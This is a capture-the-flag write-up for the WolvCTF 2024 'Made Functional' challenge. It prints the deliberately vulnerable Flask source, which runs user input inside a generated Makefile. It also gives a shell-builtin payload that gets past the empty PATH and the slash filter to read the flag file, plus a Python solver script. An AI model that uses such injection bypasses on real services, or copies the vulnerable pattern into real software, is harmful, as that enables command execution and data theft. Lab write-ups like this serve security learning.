Tags: misc pyjail 

Rating:

# Made Functional

> Author: doubledelete

> Description: the second makejail

[https://madefunctional-okntin33tq-ul.a.run.app/](https://madefunctional-okntin33tq-ul.a.run.app/)

And the last but not least is same Misc PyJail challenge `Made Functional`, written using the Flask.

```python {title="source.py" lineNos=true lineNoStart=1}
import os
from pathlib import Path
import re
import subprocess
import tempfile

from flask import Flask, request, send_file

app = Flask(__name__)
flag = open('flag.txt').read()

def write_flag(path):
with open(path / 'flag.txt', 'w') as f:
f.write(flag)

def generate_makefile(name, content, path):
with open(path / 'Makefile', 'w') as f:
f.write(f"""
SHELL := env PATH= /bin/bash
.PHONY: {name}
{name}: flag.txt
\t{content}
""")

@app.route('/', methods=['GET'])
def index():
return send_file('index.html')

@app.route('/src/', methods=['GET'])
def src():
return send_file(__file__)

# made functional
@app.route('/make', methods=['POST'])
def make():
target_name = request.form.get('name')
code = request.form.get('code')

print(code)
if not re.fullmatch(r'[A-Za-z0-9]+', target_name):
return 'no'
if '\n' in code:
return 'no'
if re.search(r'/', code):
return 'no'

with tempfile.TemporaryDirectory() as dir:
run_dir = Path(dir)
write_flag(run_dir)
generate_makefile(target_name, code, run_dir)
sp = subprocess.run(['make'], capture_output=True, cwd=run_dir)
return f"""
<h1>stdout:</h1>
{sp.stdout}
<h1>stderr:</h1>
{sp.stderr}
"""

app.run('localhost', 8000)
```

From the source it allows to create a Makefile with a target that executes some code when the target is built and it's a same vuln. The `SHELL` variable in the Makefile is set to `env PATH= /bin/bash`, which means that the `PATH` environment variable is set to an empty string when the shell command is executed. This means that the shell will not be able to find any executables in the `PATH`, so it will only execute commands that are defined in the Makefile itself.

first I simply using:

```
name = "readflag"
code = "< flag.txt"
```

![response1.png](https://raw.githubusercontent.com/nopedawn/CTF/main/WolvCTF24/MadeFunctional/response1.png)

It seems like the command `< flag.txt` was executed, but it didn't produce any output. This is because the `<` operator is used for input redirection, and it needs a command to provide input to.

Unfortunately, we're limited by the fact that we can't use slashes, and most commands are located in directories that require a slash to access (like `/bin` or `/usr/bin`).

However, we can take advantage of the fact that Makefiles allow for multiple lines in the command section if they are separated by semicolons. We can use this feature to first assign the content of the flag file to a variable, and then echo that variable:

```
name = "readflag"
code = "read -r FLAG < flag.txt; echo $$FLAG"
```

![response2.png](https://raw.githubusercontent.com/nopedawn/CTF/main/WolvCTF24/MadeFunctional/response2.png)

Final solver automation:

```python {title="solver.py" lineNos=true lineNoStart=1}
import requests
import re

data = {
'name': 'readflag',
'code': 'read -r FLAG < flag.txt; echo $$FLAG'
}

response = requests.post('https://madefunctional-okntin33tq-ul.a.run.app/make', data=data)
flag = re.findall(r'wctf{.*}', response.text)

print(flag)
```

> Flag: `wctf{m4k1ng_f1l3s}`

Original writeup (https://nopedawn.github.io/posts/ctfs/2024/wolv-ctf-2024/#made-functional).